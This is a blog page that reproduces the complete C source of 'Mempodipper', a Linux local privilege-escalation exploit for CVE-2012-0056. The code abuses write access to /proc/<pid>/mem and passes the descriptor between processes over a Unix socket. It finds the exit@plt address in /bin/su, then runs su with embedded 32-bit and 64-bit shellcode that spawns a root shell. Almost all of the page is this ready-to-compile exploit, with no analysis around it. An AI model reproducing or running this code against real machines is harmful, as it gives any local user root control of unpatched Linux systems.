Smooth Blog

/*
 * Mempodipper
 * by zx2c4
 *
 * Linux Local Root Exploit
 *
 * Rather than put my write up here, per usual, this time I've put it
 * in a rather lengthy blog post: http://blog.zx2c4.com/749
 *
 * Enjoy.
 *
 * - zx2c4
 * Jan 21, 2012
 *
 * CVE-2012-0056
 */

#define _LARGEFILE64_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <fcntl.h>
#include <unistd.h>
#include <limits.h>

int send_fd(int sock, int fd)
{
 char buf[1];
 struct iovec iov;
 struct msghdr msg;
 struct cmsghdr *cmsg;
 int n;
 char cms[CMSG_SPACE(sizeof(int))];

 buf[0] = 0;
 iov.iov_base = buf;
 iov.iov_len = 1;

 memset(&msg, 0, sizeof msg);
 msg.msg_iov = &iov;
 msg.msg_iovlen = 1;
 msg.msg_control = (caddr_t)cms;
 msg.msg_controllen = CMSG_LEN(sizeof(int));

 cmsg = CMSG_FIRSTHDR(&msg);
 cmsg->cmsg_len = CMSG_LEN(sizeof(int));
 cmsg->cmsg_level = SOL_SOCKET;
 cmsg->cmsg_type = SCM_RIGHTS;
 memmove(CMSG_DATA(cmsg), &fd, sizeof(int));

 if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
 return -1;
 close(sock);
 return 0;
}

int recv_fd(int sock)
{
 int n;
 int fd;
 char buf[1];
 struct iovec iov;
 struct msghdr msg;
 struct cmsghdr *cmsg;
 char cms[CMSG_SPACE(sizeof(int))];

 iov.iov_base = buf;
 iov.iov_len = 1;

 memset(&msg, 0, sizeof msg);
 msg.msg_name = 0;
 msg.msg_namelen = 0;
 msg.msg_iov = &iov;
 msg.msg_iovlen = 1;

 msg.msg_control = (caddr_t)cms;
 msg.msg_controllen = sizeof cms;

 if ((n = recvmsg(sock, &msg, 0)) < 0)
 return -1;
 if (n == 0)
 return -1;
 cmsg = CMSG_FIRSTHDR(&msg);
 memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
 close(sock);
 return fd;
}

int main(int argc, char **argv)
{
 if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') {
 char parent_mem[256];
 sprintf(parent_mem, "/proc/%d/mem", getppid());
 printf("[+] Opening parent mem %s in child.\n", parent_mem);
 int fd = open(parent_mem, O_RDWR);
 if (fd < 0) {
 perror("[-] open");
 return 1;
 }
 printf("[+] Sending fd %d to parent.\n", fd);
 send_fd(atoi(argv[2]), fd);
 return 0;
 }

 printf("===============================\n");
 printf("= Mempodipper =\n");
 printf("= by zx2c4 =\n");
 printf("= Jan 21, 2012 =\n");
 printf("===============================\n\n");

 int sockets[2];
 printf("[+] Opening socketpair.\n");
 if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {
 perror("[-] socketpair");
 return -1;
 }
 if (fork()) {
 printf("[+] Waiting for transferred fd in parent.\n");
 int fd = recv_fd(sockets[1]);
 printf("[+] Received fd at %d.\n", fd);
 if (fd < 0) {
 perror("[-] recv_fd");
 return -1;
 }
 printf("[+] Assigning fd %d to stderr.\n", fd);
 dup2(2, 6);
 dup2(fd, 2);

 unsigned long address;
 if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
 address = strtoul(argv[2], NULL, 16);
 else {
 printf("[+] Reading su for exit@plt.\n");
 // Poor man's auto-detection. Do this in memory instead of relying on objdump being installed.
 FILE *command = popen("objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
 char result[32];
 result[0] = 0;
 fgets(result, 32, command);
 pclose(command);
 address = strtoul(result, NULL, 16);
 if (address == ULONG_MAX || !address) {
 printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
 printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]);
 return 1;
 }
 printf("[+] Resolved exit@plt to 0x%lx.\n", address);
 }
 printf("[+] Calculating su padding.\n");
 FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r");
 char result[256];
 result[0] = 0;
 fgets(result, 256, command);
 pclose(command);
 unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char);
 unsigned long offset = address - su_padding;
 printf("[+] Seeking to offset 0x%lx.\n", offset);
 lseek64(fd, offset, SEEK_SET);

#if defined(__i386__)
 // See shellcode-32.s in this package for the source.
 char shellcode[] =
 "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
 "\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
 "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
 "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
 "\x80";
#elif defined(__x86_64__)
 // See shellcode-64.s in this package for the source.
 char shellcode[] =
 "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40"
 "\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69"
 "\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb"
 "\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48"
 "\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";

#else
#error "That platform is not supported."
#endif
 printf("[+] Executing su with shellcode.\n");
 execl("/bin/su", "su", shellcode, NULL);
 } else {
 char sock[32];
 sprintf(sock, "%d", sockets[0]);
 printf("[+] Executing child from child fork.\n");
 execl("/proc/self/exe", argv[0], "-c", sock, NULL);
 }
}